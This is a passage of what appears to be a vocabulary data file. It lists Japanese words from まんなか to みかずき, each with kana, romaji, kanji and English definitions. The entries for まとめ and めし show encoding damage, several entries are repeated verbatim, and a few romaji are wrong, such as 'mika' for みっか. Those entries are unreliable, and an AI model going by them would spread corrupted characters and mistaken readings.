circular\"\n\t},\n\n\t{\n\t\t'kana':'まんなか',\n\t\t'romaji':'mannaka',\n\t\t'kanji':'真ん中',\n\t\t'definition':\"middle;centre;mid-way\"\n\t},\n\n\t{\n\t\t'kana':'まんねんひつ',\n\t\t'romaji':'mannenhitsu',\n\t\t'kanji':'万年筆',\n\t\t'definition':\"fountain pen\"\n\t},\n\n\t{\n\t\t'kana':'まんてん',\n\t\t'romaji':'manten',\n\t\t'kanji':'満点',\n\t\t'definition':\"perfect score\"\n\t},\n\n\t{\n\t\t'kana':'まぬかれる',\n\t\t'romaji':'manukareru',\n\t\t'kanji':'免れる',\n\t\t'definition':\"to escape from;to be rescued from;to avoid;to evade;to avert;to elude;to be exempted;to be relieved from pain;to get rid of\"\n\t},\n\n\t{\n\t\t'kana':'まんぞく',\n\t\t'romaji':'manzoku',\n\t\t'kanji':'満足',\n\t\t'definition':\"satisfaction\"\n\t},\n\n\t{\n\t\t'kana':'まっぷたつ',\n\t\t'romaji':'mapputatsu',\n\t\t'kanji':'真っ二つ',\n\t\t'definition':\"in two equal parts\"\n\t},\n\n\t{\n\t\t'kana':'マラソン',\n\t\t'romaji':'marason',\n\t\t'kanji':'',\n\t\t'definition':\"marathon\"\n\t},\n\n\t{\n\t\t'kana':'まれ',\n\t\t'romaji':'mare',\n\t\t'kanji':'稀',\n\t\t'definition':\"rare\"\n\t},\n\n\t{\n\t\t'kana':'まり',\n\t\t'romaji':'mari',\n\t\t'kanji':'鞠',\n\t\t'definition':\"ball\"\n\t},\n\n\t{\n\t\t'kana':'まる',\n\t\t'romaji':'maru',\n\t\t'kanji':'丸',\n\t\t'definition':\"circle;full (month);perfection;purity;suffix for ship names\"\n\t},\n\n\t{\n\t\t'kana':'まるで',\n\t\t'romaji':'marude',\n\t\t'kanji':'丸で',\n\t\t'definition':\"quite;entirely;completely;at all;as if;as though;so to speak\"\n\t},\n\n\t{\n\t\t'kana':'まるごと',\n\t\t'romaji':'marugoto',\n\t\t'kanji':'丸ごと',\n\t\t'definition':\"in its entirety;whole;wholly\"\n\t},\n\n\t{\n\t\t'kana':'まるい',\n\t\t'romaji':'marui',\n\t\t'kanji':'丸い',\n\t\t'definition':\"round;circular;spherical\"\n\t},\n\n\t{\n\t\t'kana':'まるっきり',\n\t\t'romaji':'marukkiri',\n\t\t'kanji':'丸っきり',\n\t\t'definition':\"completely;perfectly;just as if\"\n\t},\n\n\t{\n\t\t'kana':'まるまる',\n\t\t'romaji':'marumaru',\n\t\t'kanji':'丸々',\n\t\t'definition':\"completely\"\n\t},\n\n\t{\n\t\t'kana':'まるめる',\n\t\t'romaji':'marumeru',\n\t\t'kanji':'丸める',\n\t\t'definition':\"to make round;to round off;to roll up;to curl up;to seduce;to cajole;to explain away\"\n\t},\n\n\t{\n\t\t'kana':'まさか',\n\t\t'romaji':'masaka',\n\t\t'kanji':'',\n\t\t'definition':\"Never!;Well I never!;You don't say!\"\n\t},\n\n\t{\n\t\t'kana':'まさに',\n\t\t'romaji':'masani',\n\t\t'kanji':'正に',\n\t\t'definition':\"correctly;surely\"\n\t},\n\n\t{\n\t\t'kana':'まさる',\n\t\t'romaji':'masaru',\n\t\t'kanji':'勝る',\n\t\t'definition':\"to excel;to surpass;to outrival\"\n\t},\n\n\t{\n\t\t'kana':'まさしく',\n\t\t'romaji':'masashiku',\n\t\t'kanji':'正しく',\n\t\t'definition':\"surely;no doubt;evidently\"\n\t},\n\n\t{\n\t\t'kana':'まさつ',\n\t\t'romaji':'masatsu',\n\t\t'kanji':'摩擦',\n\t\t'definition':\"friction;rubbing;rubdown;chafe\"\n\t},\n\n\t{\n\t\t'kana':'マッサージ',\n\t\t'romaji':'masa-zi',\n\t\t'kanji':'',\n\t\t'definition':\"massage\"\n\t},\n\n\t{\n\t\t'kana':'まし',\n\t\t'romaji':'mashi',\n\t\t'kanji':'増し',\n\t\t'definition':\"extra;additional;less objectionable;better;preferable\"\n\t},\n\n\t{\n\t\t'kana':'ました',\n\t\t'romaji':'mashita',\n\t\t'kanji':'真下',\n\t\t'definition':\"right under;directly below\"\n\t},\n\n\t{\n\t\t'kana':'まして',\n\t\t'romaji':'mashite',\n\t\t'kanji':'況して',\n\t\t'definition':\"still more;still less (with neg. verb);to say nothing of;not to mention\"\n\t},\n\n\t{\n\t\t'kana':'まっさき',\n\t\t'romaji':'massaki',\n\t\t'kanji':'真っ先',\n\t\t'definition':\"the head;the foremost;beginning\"\n\t},\n\n\t{\n\t\t'kana':'まっさお',\n\t\t'romaji':'massao',\n\t\t'kanji':'真っ青',\n\t\t'definition':\"deep blue;ghastly pale\"\n\t},\n\n\t{\n\t\t'kana':'まっしろ',\n\t\t'romaji':'masshiro',\n\t\t'kanji':'真っ白',\n\t\t'definition':\"pure white\"\n\t},\n\n\t{\n\t\t'kana':'まっすぐ',\n\t\t'romaji':'massugu',\n\t\t'kanji':'真っ直ぐ',\n\t\t'definition':\"straight (ahead);direct;upright;erect;honest;frank\"\n\t},\n\n\t{\n\t\t'kana':'ます',\n\t\t'romaji':'masu',\n\t\t'kanji':'増す',\n\t\t'definition':\"to increase;to grow\"\n\t},\n\n\t{\n\t\t'kana':'ますい',\n\t\t'romaji':'masui',\n\t\t'kanji':'麻酔',\n\t\t'definition':\"anaesthesia\"\n\t},\n\n\t{\n\t\t'kana':'マスコミ',\n\t\t'romaji':'masukomi',\n\t\t'kanji':'',\n\t\t'definition':\"mass communication\"\n\t},\n\n\t{\n\t\t'kana':'マスク',\n\t\t'romaji':'masuku',\n\t\t'kanji':'',\n\t\t'definition':\"mask\"\n\t},\n\n\t{\n\t\t'kana':'ますます',\n\t\t'romaji':'masumasu',\n\t\t'kanji':'益々',\n\t\t'definition':\"increasingly;more and more\"\n\t},\n\n\t{\n\t\t'kana':'マスター',\n\t\t'romaji':'masuta-',\n\t\t'kanji':'',\n\t\t'definition':\"proprietor;manager;barowner;master (e.g. arts science)\"\n\t},\n\n\t{\n\t\t'kana':'また',\n\t\t'romaji':'mata',\n\t\t'kanji':'又',\n\t\t'definition':\"again;and\"\n\t},\n\n\t{\n\t\t'kana':'また',\n\t\t'romaji':'mata',\n\t\t'kanji':'股',\n\t\t'definition':\"groin;crotch;thigh\"\n\t},\n\n\t{\n\t\t'kana':'またがる',\n\t\t'romaji':'matagaru',\n\t\t'kanji':'跨がる',\n\t\t'definition':\"to extend over or into;to straddle\"\n\t},\n\n\t{\n\t\t'kana':'またぐ',\n\t\t'romaji':'matagu',\n\t\t'kanji':'跨ぐ',\n\t\t'definition':\"to straddle\"\n\t},\n\n\t{\n\t\t'kana':'または',\n\t\t'romaji':'mataha',\n\t\t'kanji':'又は',\n\t\t'definition':\"or;otherwise\"\n\t},\n\n\t{\n\t\t'kana':'またたき',\n\t\t'romaji':'matataki',\n\t\t'kanji':'瞬き',\n\t\t'definition':\"wink;twinkling (of stars);flicker (of light)\"\n\t},\n\n\t{\n\t\t'kana':'まと',\n\t\t'romaji':'mato',\n\t\t'kanji':'的',\n\t\t'definition':\"mark;target\"\n\t},\n\n\t{\n\t\t'kana':'まとまり',\n\t\t'romaji':'matomari',\n\t\t'kanji':'纏まり',\n\t\t'definition':\"conclusion;settlement;consistency\"\n\t},\n\n\t{\n\t\t'kana':'まとまる',\n\t\t'romaji':'matomaru',\n\t\t'kanji':'纏まる',\n\t\t'definition':\"to be collected;to be settled;to be in order\"\n\t},\n\n\t{\n\t\t'kana':'まとめ',\n\t\t'romaji':'matome',\n\t\t'kanji':'���め',\n\t\t'definition':\"settlement;conclusion\"\n\t},\n\n\t{\n\t\t'kana':'まとめる',\n\t\t'romaji':'matomeru',\n\t\t'kanji':'纏める',\n\t\t'definition':\"to put in order;to collect;to bring to a conclusion\"\n\t},\n\n\t{\n\t\t'kana':'まつ',\n\t\t'romaji':'matsu',\n\t\t'kanji':'松',\n\t\t'definition':\"pine tree;highest (of a three-tier ranking system)\"\n\t},\n\n\t{\n\t\t'kana':'まつ',\n\t\t'romaji':'matsu',\n\t\t'kanji':'待つ',\n\t\t'definition':\"to wait\"\n\t},\n\n\t{\n\t\t'kana':'まつり',\n\t\t'romaji':'matsuri',\n\t\t'kanji':'祭',\n\t\t'definition':\"festival;feast\"\n\t},\n\n\t{\n\t\t'kana':'まつり',\n\t\t'romaji':'matsuri',\n\t\t'kanji':'祭',\n\t\t'definition':\"festival;feast\"\n\t},\n\n\t{\n\t\t'kana':'まつる',\n\t\t'romaji':'matsuru',\n\t\t'kanji':'祭る',\n\t\t'definition':\"to deify;to enshrine\"\n\t},\n\n\t{\n\t\t'kana':'まったく',\n\t\t'romaji':'mattaku',\n\t\t'kanji':'全く',\n\t\t'definition':\"really;truly;entirely;completely;wholly;perfectly;indeed\"\n\t},\n\n\t{\n\t\t'kana':'まう',\n\t\t'romaji':'mau',\n\t\t'kanji':'舞う',\n\t\t'definition':\"to dance;to flutter about;to revolve\"\n\t},\n\n\t{\n\t\t'kana':'まうえ',\n\t\t'romaji':'maue',\n\t\t'kanji':'真上',\n\t\t'definition':\"just above;right overhead\"\n\t},\n\n\t{\n\t\t'kana':'まわり',\n\t\t'romaji':'mawari',\n\t\t'kanji':'回り',\n\t\t'definition':\"circumference;surroundings;circulation\"\n\t},\n\n\t{\n\t\t'kana':'まわりみち',\n\t\t'romaji':'mawarimichi',\n\t\t'kanji':'回り道',\n\t\t'definition':\"detour\"\n\t},\n\n\t{\n\t\t'kana':'まわる',\n\t\t'romaji':'mawaru',\n\t\t'kanji':'回る',\n\t\t'definition':\"to turn;to revolve;to visit several places\"\n\t},\n\n\t{\n\t\t'kana':'まわす',\n\t\t'romaji':'mawasu',\n\t\t'kanji':'回す',\n\t\t'definition':\"to turn;to revolve\"\n\t},\n\n\t{\n\t\t'kana':'まよう',\n\t\t'romaji':'mayou',\n\t\t'kanji':'迷う',\n\t\t'definition':\"to be puzzled;to be perplexed;to lose one's way\"\n\t},\n\n\t{\n\t\t'kana':'まゆ',\n\t\t'romaji':'mayu',\n\t\t'kanji':'眉',\n\t\t'definition':\"eyebrow\"\n\t},\n\n\t{\n\t\t'kana':'まざる',\n\t\t'romaji':'mazaru',\n\t\t'kanji':'交ざる',\n\t\t'definition':\"to be mixed;to be blended with;to associate with;to mingle with;to join\"\n\t},\n\n\t{\n\t\t'kana':'まざる',\n\t\t'romaji':'mazaru',\n\t\t'kanji':'混ざる',\n\t\t'definition':\"to be mixed;to be blended with;to associate with;to mingle with;to join\"\n\t},\n\n\t{\n\t\t'kana':'まぜる',\n\t\t'romaji':'mazeru',\n\t\t'kanji':'交ぜる',\n\t\t'definition':\"to be mixed;to be blended with\"\n\t},\n\n\t{\n\t\t'kana':'まぜる',\n\t\t'romaji':'mazeru',\n\t\t'kanji':'混ぜる',\n\t\t'definition':\"to mix;to stir\"\n\t},\n\n\t{\n\t\t'kana':'まず',\n\t\t'romaji':'mazu',\n\t\t'kanji':'先ず',\n\t\t'definition':\"first (of all);to start with;about;almost;hardly (with neg. verb);anyway;well;now\"\n\t},\n\n\t{\n\t\t'kana':'まずい',\n\t\t'romaji':'mazui',\n\t\t'kanji':'不味い',\n\t\t'definition':\"unappetising;unpleasant (taste appearance situation);ugly;unskilful;awkward;bungling;unwise;untimely\"\n\t},\n\n\t{\n\t\t'kana':'まずしい',\n\t\t'romaji':'mazushii',\n\t\t'kanji':'貧しい',\n\t\t'definition':\"poor\"\n\t},\n\n\t{\n\t\t'kana':'め',\n\t\t'romaji':'me',\n\t\t'kanji':'目',\n\t\t'definition':\"eye;eyeball\"\n\t},\n\n\t{\n\t\t'kana':'め',\n\t\t'romaji':'me',\n\t\t'kanji':'芽',\n\t\t'definition':\"sprout\"\n\t},\n\n\t{\n\t\t'kana':'め',\n\t\t'romaji':'me',\n\t\t'kanji':'目',\n\t\t'definition':\"eye;eyeball\"\n\t},\n\n\t{\n\t\t'kana':'めちゃくちゃ',\n\t\t'romaji':'mechakucha',\n\t\t'kanji':'滅茶苦茶',\n\t\t'definition':\"absurd;unreasonable;excessive;messed up;spoiled;wreaked\"\n\t},\n\n\t{\n\t\t'kana':'めだつ',\n\t\t'romaji':'medatsu',\n\t\t'kanji':'目立つ',\n\t\t'definition':\"to be conspicuous;to stand out\"\n\t},\n\n\t{\n\t\t'kana':'めでたい',\n\t\t'romaji':'medetai',\n\t\t'kanji':'愛でたい',\n\t\t'definition':\"auspicious\"\n\t},\n\n\t{\n\t\t'kana':'メディア',\n\t\t'romaji':'medhia',\n\t\t'kanji':'',\n\t\t'definition':\"media\"\n\t},\n\n\t{\n\t\t'kana':'めぐまれる',\n\t\t'romaji':'megumareru',\n\t\t'kanji':'恵まれる',\n\t\t'definition':\"to be blessed with;to be rich in\"\n\t},\n\n\t{\n\t\t'kana':'めぐみ',\n\t\t'romaji':'megumi',\n\t\t'kanji':'恵み',\n\t\t'definition':\"blessing\"\n\t},\n\n\t{\n\t\t'kana':'めぐむ',\n\t\t'romaji':'megumu',\n\t\t'kanji':'恵む',\n\t\t'definition':\"to bless;to show mercy to\"\n\t},\n\n\t{\n\t\t'kana':'めぐる',\n\t\t'romaji':'meguru',\n\t\t'kanji':'巡る',\n\t\t'definition':\"to go around\"\n\t},\n\n\t{\n\t\t'kana':'めい',\n\t\t'romaji':'mei',\n\t\t'kanji':'姪',\n\t\t'definition':\"niece\"\n\t},\n\n\t{\n\t\t'kana':'めいぼ',\n\t\t'romaji':'meibo',\n\t\t'kanji':'名簿',\n\t\t'definition':\"register of names\"\n\t},\n\n\t{\n\t\t'kana':'めいぶつ',\n\t\t'romaji':'meibutsu',\n\t\t'kanji':'名物',\n\t\t'definition':\"famous product;special product;speciality\"\n\t},\n\n\t{\n\t\t'kana':'めいちゅう',\n\t\t'romaji':'meichuu',\n\t\t'kanji':'命中',\n\t\t'definition':\"a hit\"\n\t},\n\n\t{\n\t\t'kana':'めいじん',\n\t\t'romaji':'meijin',\n\t\t'kanji':'名人',\n\t\t'definition':\"master;expert\"\n\t},\n\n\t{\n\t\t'kana':'めいじる',\n\t\t'romaji':'meijiru',\n\t\t'kanji':'命じる',\n\t\t'definition':\"to order;to command;to appoint\"\n\t},\n\n\t{\n\t\t'kana':'めいかく',\n\t\t'romaji':'meikaku',\n\t\t'kanji':'明確',\n\t\t'definition':\"clear up;clarify;define\"\n\t},\n\n\t{\n\t\t'kana':'めいめい',\n\t\t'romaji':'meimei',\n\t\t'kanji':'銘々',\n\t\t'definition':\"each;individual\"\n\t},\n\n\t{\n\t\t'kana':'めいれい',\n\t\t'romaji':'meirei',\n\t\t'kanji':'命令',\n\t\t'definition':\"order;command;decree;directive;(software) instruction\"\n\t},\n\n\t{\n\t\t'kana':'めいろう',\n\t\t'romaji':'meirou',\n\t\t'kanji':'明朗',\n\t\t'definition':\"bright;clear;cheerful\"\n\t},\n\n\t{\n\t\t'kana':'めいりょう',\n\t\t'romaji':'meiryou',\n\t\t'kanji':'明瞭',\n\t\t'definition':\"clarity\"\n\t},\n\n\t{\n\t\t'kana':'めいさく',\n\t\t'romaji':'meisaku',\n\t\t'kanji':'名作',\n\t\t'definition':\"masterpiece\"\n\t},\n\n\t{\n\t\t'kana':'めいさん',\n\t\t'romaji':'meisan',\n\t\t'kanji':'名産',\n\t\t'definition':\"noted product\"\n\t},\n\n\t{\n\t\t'kana':'めいし',\n\t\t'romaji':'meishi',\n\t\t'kanji':'名詞',\n\t\t'definition':\"noun\"\n\t},\n\n\t{\n\t\t'kana':'めいし',\n\t\t'romaji':'meishi',\n\t\t'kanji':'名刺',\n\t\t'definition':\"business card\"\n\t},\n\n\t{\n\t\t'kana':'めいしん',\n\t\t'romaji':'meishin',\n\t\t'kanji':'迷信',\n\t\t'definition':\"superstition\"\n\t},\n\n\t{\n\t\t'kana':'めいしょ',\n\t\t'romaji':'meisho',\n\t\t'kanji':'名所',\n\t\t'definition':\"famous place\"\n\t},\n\n\t{\n\t\t'kana':'めいしょう',\n\t\t'romaji':'meishou',\n\t\t'kanji':'名称',\n\t\t'definition':\"name\"\n\t},\n\n\t{\n\t\t'kana':'めいわく',\n\t\t'romaji':'meiwaku',\n\t\t'kanji':'迷惑',\n\t\t'definition':\"trouble;annoyance\"\n\t},\n\n\t{\n\t\t'kana':'めいよ',\n\t\t'romaji':'meiyo',\n\t\t'kanji':'名誉',\n\t\t'definition':\"honor;credit;prestige\"\n\t},\n\n\t{\n\t\t'kana':'めいずる',\n\t\t'romaji':'meizuru',\n\t\t'kanji':'命ずる',\n\t\t'definition':\"to command;to appoint\"\n\t},\n\n\t{\n\t\t'kana':'めじるし',\n\t\t'romaji':'mejirushi',\n\t\t'kanji':'目印',\n\t\t'definition':\"mark;sign;landmark\"\n\t},\n\n\t{\n\t\t'kana':'メーカー',\n\t\t'romaji':'me-ka-',\n\t\t'kanji':'',\n\t\t'definition':\"maker\"\n\t},\n\n\t{\n\t\t'kana':'めかた',\n\t\t'romaji':'mekata',\n\t\t'kanji':'目方',\n\t\t'definition':\"weight\"\n\t},\n\n\t{\n\t\t'kana':'めっきり',\n\t\t'romaji':'mekkiri',\n\t\t'kanji':'',\n\t\t'definition':\"remarkably\"\n\t},\n\n\t{\n\t\t'kana':'めまい',\n\t\t'romaji':'memai',\n\t\t'kanji':'目眩',\n\t\t'definition':\"dizziness;giddiness\"\n\t},\n\n\t{\n\t\t'kana':'メモ',\n\t\t'romaji':'memo',\n\t\t'kanji':'',\n\t\t'definition':\"memorandum\"\n\t},\n\n\t{\n\t\t'kana':'めもり',\n\t\t'romaji':'memori',\n\t\t'kanji':'目盛',\n\t\t'definition':\"scale;gradations\"\n\t},\n\n\t{\n\t\t'kana':'めん',\n\t\t'romaji':'men',\n\t\t'kanji':'綿',\n\t\t'definition':\"raw cotton\"\n\t},\n\n\t{\n\t\t'kana':'めん',\n\t\t'romaji':'men',\n\t\t'kanji':'綿',\n\t\t'definition':\"raw cotton\"\n\t},\n\n\t{\n\t\t'kana':'メンバー',\n\t\t'romaji':'menba-',\n\t\t'kanji':'',\n\t\t'definition':\"member\"\n\t},\n\n\t{\n\t\t'kana':'めんぼく',\n\t\t'romaji':'menboku',\n\t\t'kanji':'面目',\n\t\t'definition':\"face;honour;reputation;prestige;dignity;credit\"\n\t},\n\n\t{\n\t\t'kana':'めんどう',\n\t\t'romaji':'mendou',\n\t\t'kanji':'面倒',\n\t\t'definition':\"trouble;difficulty;care;attention\"\n\t},\n\n\t{\n\t\t'kana':'めんどうくさい',\n\t\t'romaji':'mendoukusai',\n\t\t'kanji':'面倒臭い',\n\t\t'definition':\"bother to do;tiresome\"\n\t},\n\n\t{\n\t\t'kana':'メニュー',\n\t\t'romaji':'meni-',\n\t\t'kanji':'',\n\t\t'definition':\"menu\"\n\t},\n\n\t{\n\t\t'kana':'めんじょ',\n\t\t'romaji':'menjyo',\n\t\t'kanji':'免除',\n\t\t'definition':\"exemption;exoneration;discharge\"\n\t},\n\n\t{\n\t\t'kana':'めんかい',\n\t\t'romaji':'menkai',\n\t\t'kanji':'面会',\n\t\t'definition':\"interview\"\n\t},\n\n\t{\n\t\t'kana':'めんきょ',\n\t\t'romaji':'menkyo',\n\t\t'kanji':'免許',\n\t\t'definition':\"license;permit;licence;certificate\"\n\t},\n\n\t{\n\t\t'kana':'めんせき',\n\t\t'romaji':'menseki',\n\t\t'kanji':'面積',\n\t\t'definition':\"area\"\n\t},\n\n\t{\n\t\t'kana':'めんせつ',\n\t\t'romaji':'mensetsu',\n\t\t'kanji':'面接',\n\t\t'definition':\"interview\"\n\t},\n\n\t{\n\t\t'kana':'めんする',\n\t\t'romaji':'mensuru',\n\t\t'kanji':'面する',\n\t\t'definition':\"to face on;to look out on to\"\n\t},\n\n\t{\n\t\t'kana':'めんぜい',\n\t\t'romaji':'menzei',\n\t\t'kanji':'免税',\n\t\t'definition':\"tax exemption;duty exemption\"\n\t},\n\n\t{\n\t\t'kana':'メロディー',\n\t\t'romaji':'merodhi-',\n\t\t'kanji':'',\n\t\t'definition':\"melody\"\n\t},\n\n\t{\n\t\t'kana':'メッセージ',\n\t\t'romaji':'mese-zi',\n\t\t'kanji':'',\n\t\t'definition':\"message\"\n\t},\n\n\t{\n\t\t'kana':'��し',\n\t\t'romaji':'meshi',\n\t\t'kanji':'飯',\n\t\t'definition':\"meals;food\"\n\t},\n\n\t{\n\t\t'kana':'めしあがる',\n\t\t'romaji':'meshiagaru',\n\t\t'kanji':'召し上がる',\n\t\t'definition':\"to eat\"\n\t},\n\n\t{\n\t\t'kana':'めした',\n\t\t'romaji':'meshita',\n\t\t'kanji':'目下',\n\t\t'definition':\"subordinate(s);inferior(s);junior\"\n\t},\n\n\t{\n\t\t'kana':'めした',\n\t\t'romaji':'meshita',\n\t\t'kanji':'目下',\n\t\t'definition':\"subordinate(s);inferior(s);junior\"\n\t},\n\n\t{\n\t\t'kana':'めす',\n\t\t'romaji':'mesu',\n\t\t'kanji':'雌',\n\t\t'definition':\"female (animal)\"\n\t},\n\n\t{\n\t\t'kana':'めす',\n\t\t'romaji':'mesu',\n\t\t'kanji':'召す',\n\t\t'definition':\"to call;to send for;to put on;to wear;to take (a bath);to ride in;to buy;to eat;to drink;to catch (a cold)\"\n\t},\n\n\t{\n\t\t'kana':'メーター',\n\t\t'romaji':'me-ta-',\n\t\t'kanji':'',\n\t\t'definition':\"meter (clock)\"\n\t},\n\n\t{\n\t\t'kana':'メートル',\n\t\t'romaji':'me-toru',\n\t\t'kanji':'',\n\t\t'definition':\"metre;meter;gauge\"\n\t},\n\n\t{\n\t\t'kana':'めつぼう',\n\t\t'romaji':'metsubou',\n\t\t'kanji':'滅亡',\n\t\t'definition':\"downfall;ruin;collapse;destruction\"\n\t},\n\n\t{\n\t\t'kana':'めつき',\n\t\t'romaji':'metsuki',\n\t\t'kanji':'目付き',\n\t\t'definition':\"look;expression of the eyes;eyes\"\n\t},\n\n\t{\n\t\t'kana':'めったに',\n\t\t'romaji':'mettani',\n\t\t'kanji':'滅多に',\n\t\t'definition':\"rarely (with neg. verb);seldom\"\n\t},\n\n\t{\n\t\t'kana':'めうえ',\n\t\t'romaji':'meue',\n\t\t'kanji':'目上',\n\t\t'definition':\"superior(s);senior\"\n\t},\n\n\t{\n\t\t'kana':'めやす',\n\t\t'romaji':'meyasu',\n\t\t'kanji':'目安',\n\t\t'definition':\"criterion;aim\"\n\t},\n\n\t{\n\t\t'kana':'めざまし',\n\t\t'romaji':'mezamashi',\n\t\t'kanji':'目覚し',\n\t\t'definition':\"alarm-clock\"\n\t},\n\n\t{\n\t\t'kana':'めざましい',\n\t\t'romaji':'mezamashii',\n\t\t'kanji':'目覚しい',\n\t\t'definition':\"brilliant;splendid;striking;remarkable\"\n\t},\n\n\t{\n\t\t'kana':'めざめる',\n\t\t'romaji':'mezameru',\n\t\t'kanji':'目覚める',\n\t\t'definition':\"to wake up\"\n\t},\n\n\t{\n\t\t'kana':'めざす',\n\t\t'romaji':'mezasu',\n\t\t'kanji':'目指す',\n\t\t'definition':\"to aim at;to have an eye on\"\n\t},\n\n\t{\n\t\t'kana':'めずらしい',\n\t\t'romaji':'mezurashii',\n\t\t'kanji':'珍しい',\n\t\t'definition':\"unusual;rare\"\n\t},\n\n\t{\n\t\t'kana':'み',\n\t\t'romaji':'mi',\n\t\t'kanji':'三',\n\t\t'definition':\"(num) three\"\n\t},\n\n\t{\n\t\t'kana':'み',\n\t\t'romaji':'mi',\n\t\t'kanji':'身',\n\t\t'definition':\"body;main part;oneself;sword\"\n\t},\n\n\t{\n\t\t'kana':'みあげる',\n\t\t'romaji':'miageru',\n\t\t'kanji':'見上げる',\n\t\t'definition':\"to look up at;to raise one's eyes;to admire\"\n\t},\n\n\t{\n\t\t'kana':'みあい',\n\t\t'romaji':'miai',\n\t\t'kanji':'見合い',\n\t\t'definition':\"formal marriage interview\"\n\t},\n\n\t{\n\t\t'kana':'みあわせる',\n\t\t'romaji':'miawaseru',\n\t\t'kanji':'見合わせる',\n\t\t'definition':\"to exchange glances;to postpone;to suspend operations;to refrain from performing an action\"\n\t},\n\n\t{\n\t\t'kana':'みぶん',\n\t\t'romaji':'mibun',\n\t\t'kanji':'身分',\n\t\t'definition':\"social position;social status\"\n\t},\n\n\t{\n\t\t'kana':'みぶり',\n\t\t'romaji':'miburi',\n\t\t'kanji':'身振り',\n\t\t'definition':\"gesture\"\n\t},\n\n\t{\n\t\t'kana':'みち',\n\t\t'romaji':'michi',\n\t\t'kanji':'道',\n\t\t'definition':\"road;street;way;method\"\n\t},\n\n\t{\n\t\t'kana':'みち',\n\t\t'romaji':'michi',\n\t\t'kanji':'道',\n\t\t'definition':\"road;street;way;method\"\n\t},\n\n\t{\n\t\t'kana':'みち',\n\t\t'romaji':'michi',\n\t\t'kanji':'未知',\n\t\t'definition':\"not yet known\"\n\t},\n\n\t{\n\t\t'kana':'みちびく',\n\t\t'romaji':'michibiku',\n\t\t'kanji':'導く',\n\t\t'definition':\"to be guided;to be shown\"\n\t},\n\n\t{\n\t\t'kana':'みちじゅん',\n\t\t'romaji':'michijyun',\n\t\t'kanji':'道順',\n\t\t'definition':\"itinerary;route\"\n\t},\n\n\t{\n\t\t'kana':'みちる',\n\t\t'romaji':'michiru',\n\t\t'kanji':'満ちる',\n\t\t'definition':\"to be full;to rise (tide);to mature;to expire\"\n\t},\n\n\t{\n\t\t'kana':'みだれる',\n\t\t'romaji':'midareru',\n\t\t'kanji':'乱れる',\n\t\t'definition':\"to get confused;to be disordered;to be disturbed\"\n\t},\n\n\t{\n\t\t'kana':'みだし',\n\t\t'romaji':'midashi',\n\t\t'kanji':'見出し',\n\t\t'definition':\"heading;caption;subtitle;index\"\n\t},\n\n\t{\n\t\t'kana':'みだす',\n\t\t'romaji':'midasu',\n\t\t'kanji':'乱す',\n\t\t'definition':\"to throw out of order;to disarrange;to disturb\"\n\t},\n\n\t{\n\t\t'kana':'みぢか',\n\t\t'romaji':'midika',\n\t\t'kanji':'身近',\n\t\t'definition':\"near oneself;close to one;familiar\"\n\t},\n\n\t{\n\t\t'kana':'みどり',\n\t\t'romaji':'midori',\n\t\t'kanji':'緑',\n\t\t'definition':\"greenery\"\n\t},\n\n\t{\n\t\t'kana':'みえる',\n\t\t'romaji':'mieru',\n\t\t'kanji':'見える',\n\t\t'definition':\"to be seen;to be in sight;to look;to seem;to appear\"\n\t},\n\n\t{\n\t\t'kana':'みがく',\n\t\t'romaji':'migaku',\n\t\t'kanji':'磨く',\n\t\t'definition':\"to polish;to shine;to brush;to refine;to improve\"\n\t},\n\n\t{\n\t\t'kana':'みぎ',\n\t\t'romaji':'migi',\n\t\t'kanji':'右',\n\t\t'definition':\"right hand side\"\n\t},\n\n\t{\n\t\t'kana':'みごと',\n\t\t'romaji':'migoto',\n\t\t'kanji':'見事',\n\t\t'definition':\"splendid;magnificent;beautiful;admirable\"\n\t},\n\n\t{\n\t\t'kana':'みぐるしい',\n\t\t'romaji':'migurushii',\n\t\t'kanji':'見苦しい',\n\t\t'definition':\"unsightly;ugly\"\n\t},\n\n\t{\n\t\t'kana':'みはからう',\n\t\t'romaji':'mihakarau',\n\t\t'kanji':'見計らう',\n\t\t'definition':\"to choose at one's own discretion\"\n\t},\n\n\t{\n\t\t'kana':'みはらし',\n\t\t'romaji':'miharashi',\n\t\t'kanji':'見晴らし',\n\t\t'definition':\"view\"\n\t},\n\n\t{\n\t\t'kana':'みほん',\n\t\t'romaji':'mihon',\n\t\t'kanji':'見本',\n\t\t'definition':\"sample\"\n\t},\n\n\t{\n\t\t'kana':'みじかい',\n\t\t'romaji':'mijikai',\n\t\t'kanji':'短い',\n\t\t'definition':\"short\"\n\t},\n\n\t{\n\t\t'kana':'みじめ',\n\t\t'romaji':'mijime',\n\t\t'kanji':'惨め',\n\t\t'definition':\"miserable\"\n\t},\n\n\t{\n\t\t'kana':'みじん',\n\t\t'romaji':'mijin',\n\t\t'kanji':'微塵',\n\t\t'definition':\"particle;atom\"\n\t},\n\n\t{\n\t\t'kana':'みじゅく',\n\t\t'romaji':'mijyuku',\n\t\t'kanji':'未熟',\n\t\t'definition':\"inexperience;unripeness;raw;unskilled;immature;inexperienced\"\n\t},\n\n\t{\n\t\t'kana':'みっか',\n\t\t'romaji':'mika',\n\t\t'kanji':'三日',\n\t\t'definition':\"three days;the third day (of the month)\"\n\t},\n\n\t{\n\t\t'kana':'みかい',\n\t\t'romaji':'mikai',\n\t\t'kanji':'未開',\n\t\t'definition':\"savage land;backward region;uncivilized\"\n\t},\n\n\t{\n\t\t'kana':'みかけ',\n\t\t'romaji':'mikake',\n\t\t'kanji':'見掛け',\n\t\t'definition':\"outward appearance\"\n\t},\n\n\t{\n\t\t'kana':'みかける',\n\t\t'romaji':'mikakeru',\n\t\t'kanji':'見掛ける',\n\t\t'definition':\"to (happen to) see;to notice;to catch sight of\"\n\t},\n\n\t{\n\t\t'kana':'みかく',\n\t\t'romaji':'mikaku',\n\t\t'kanji':'味覚',\n\t\t'definition':\"taste;palate;sense of taste\"\n\t},\n\n\t{\n\t\t'kana':'みかた',\n\t\t'romaji':'mikata',\n\t\t'kanji':'味方',\n\t\t'definition':\"friend;ally;supporter\"\n\t},\n\n\t{\n\t\t'kana':'みかた',\n\t\t'romaji':'mikata',\n\t\t'kanji':'見方',\n\t\t'definition':\"viewpoint\"\n\t},\n\n\t{\n\t\t'kana':'みかずき',\n\t\t'romaji':'mikazuki',\n\t\t'kanji':'三日月',\n\t\t'definition':\"new moon;crescent 